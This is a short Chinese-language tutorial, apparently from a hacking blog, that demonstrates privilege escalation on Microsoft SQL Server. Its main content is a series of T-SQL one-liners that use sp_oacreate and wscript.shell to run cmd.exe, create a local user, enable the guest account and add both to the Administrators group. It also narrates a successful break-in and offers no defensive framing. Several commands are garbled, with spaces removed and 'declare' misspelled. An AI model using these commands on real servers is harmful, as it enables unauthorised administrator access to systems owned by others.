sql提权演示
首先想给大家了解一下sql提权常用命令:
driver={sqlserver};server=服务器ip;uid=用户名;pwd=密码;database=数据库名--连接数据库。
eclare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe/cnetuser新用户密码/add'--添加新用户。
declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe/cnetlocalgroupadministrators新用户/add'--把用户加到管理组
如果以上添加管理员失败的时候,我们可以尝试激活guest。
eclare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe/cnetuserguest/active:yes'--激活guest用户
。
declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe/cnetlocalgroupadministratorsguest/add'--把guest加到管理组
注意:如果c:\windows\system32\cmd.exe被删除,没权限访问或者拒绝访问的话,我们可以自己上传个cmd上去,然后路径修改我们上传的cmd路径就可以了。
下面给大家演示一下整个sql提权的过程:
默认guest用户密码为空禁用状态!
激活guest用户
激活guest用户成功,但是没有权限,所以我们继续把guest这个用户添加到管理组!
把guest加到管理组
成功把guest加到了管理组,成功进入了服务器!
进去后能做些什么?相信这个就不用我罗嗦了。
原始出处:
版权所有-转载时必须以链接形式注明原始出处